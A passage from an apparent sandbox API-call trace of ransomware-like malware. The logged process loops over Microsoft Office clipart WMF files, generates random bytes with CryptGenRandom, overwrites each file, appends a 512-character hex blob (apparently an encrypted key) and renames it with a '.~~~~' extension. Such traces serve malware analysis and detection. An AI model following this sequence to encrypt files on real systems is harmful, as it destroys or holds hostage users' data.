	[0096.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842258
	[0096.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.531] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0096.531] GetLastError () returned 0x0
	[0096.531] GetLastError () returned 0x0
	[0096.531] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0096.531] GetLastError () returned 0x0
	[0096.532] GetLastError () returned 0x0
	[0096.583] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffb480, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.583] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x4b80, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x4b80, lpOverlapped=0x0) returned 1
	[0096.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0096.584] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.584] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.584] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.584] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.585] CloseHandle (hObject=0x124) returned 1
	[0096.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.585] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.~~~~")) returned 1
	[0096.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0096.586] GetLastError () returned 0x0
	[0096.586] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0096.587] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.587] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0096.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0096.588] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21657768017) returned 1
	[0096.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa34748f0, dwHighDateTime=0x1d60e1e)) 
	[0096.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0096.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0096.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0096.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840378
	[0096.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840378 | out: hHeap=0x300000) returned 1
	[0096.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842718
	[0096.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.588] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0096.589] GetLastError () returned 0x0
	[0096.589] GetLastError () returned 0x0
	[0096.589] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0096.589] GetLastError () returned 0x0
	[0096.589] GetLastError () returned 0x0
	[0096.632] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffbac0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.633] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x4540, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x4540, lpOverlapped=0x0) returned 1
	[0096.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0096.634] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.634] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.634] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.634] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.634] CloseHandle (hObject=0x124) returned 1
	[0096.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.634] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.~~~~")) returned 1
	[0096.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0096.636] GetLastError () returned 0x0
	[0096.636] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0096.637] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.637] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0096.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0096.637] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21662721503) returned 1
	[0096.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa350ce70, dwHighDateTime=0x1d60e1e)) 
	[0096.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0096.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0096.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0096.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840458
	[0096.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840458 | out: hHeap=0x300000) returned 1
	[0096.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28428e0
	[0096.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.638] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0096.638] GetLastError () returned 0x0
	[0096.638] GetLastError () returned 0x0
	[0096.638] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0096.638] GetLastError () returned 0x0
	[0096.638] GetLastError () returned 0x0
	[0096.665] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe658, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.665] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x19a8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x19a8, lpOverlapped=0x0) returned 1
	[0096.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0096.666] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.666] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.666] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.667] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.667] CloseHandle (hObject=0x124) returned 1
	[0096.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dabe8
	[0096.843] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.~~~~")) returned 1
	[0096.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dabe8 | out: hHeap=0x300000) returned 1
	[0096.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0096.844] GetLastError () returned 0x0
	[0096.845] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0096.845] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.845] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0096.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0096.845] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21683556518) returned 1
	[0096.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa36fc050, dwHighDateTime=0x1d60e1e)) 
	[0096.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0096.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0096.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0096.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840500
	[0096.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840500 | out: hHeap=0x300000) returned 1
	[0096.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dabe8
	[0096.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842b40
	[0096.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dabe8 | out: hHeap=0x300000) returned 1
	[0096.846] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0096.846] GetLastError () returned 0x0
	[0096.846] GetLastError () returned 0x0
	[0096.846] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0096.846] GetLastError () returned 0x0
	[0096.846] GetLastError () returned 0x0
	[0096.899] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffea80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.899] WriteFile (in: hFile=0x124, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x1f8fec0*=0x1580, lpOverlapped=0x0) returned 1
	[0096.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0096.900] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.900] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.900] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.900] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.900] CloseHandle (hObject=0x124) returned 1
	[0096.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.900] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.~~~~")) returned 1
	[0096.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0096.901] GetLastError () returned 0x0
	[0096.902] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0096.903] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0096.903] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0096.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0096.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0096.903] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21689280851) returned 1
	[0096.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa37945d0, dwHighDateTime=0x1d60e1e)) 
	[0096.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0096.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0096.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0096.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28405e0
	[0096.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28405e0 | out: hHeap=0x300000) returned 1
	[0096.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842d08
	[0096.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.903] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0096.903] GetLastError () returned 0x0
	[0096.904] GetLastError () returned 0x0
	[0096.904] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0096.904] GetLastError () returned 0x0
	[0096.904] GetLastError () returned 0x0
	[0097.006] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe0c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.006] WriteFile (in: hFile=0x124, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x1f38, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x1f8fec0*=0x1f38, lpOverlapped=0x0) returned 1
	[0097.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0097.010] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.010] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.011] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.011] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.011] CloseHandle (hObject=0x124) returned 1
	[0097.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.011] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.~~~~")) returned 1
	[0097.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0097.012] GetLastError () returned 0x0
	[0097.013] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.014] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.014] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0097.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.014] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21700407313) returned 1
	[0097.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa389ef70, dwHighDateTime=0x1d60e1e)) 
	[0097.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0097.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0097.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0097.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2988
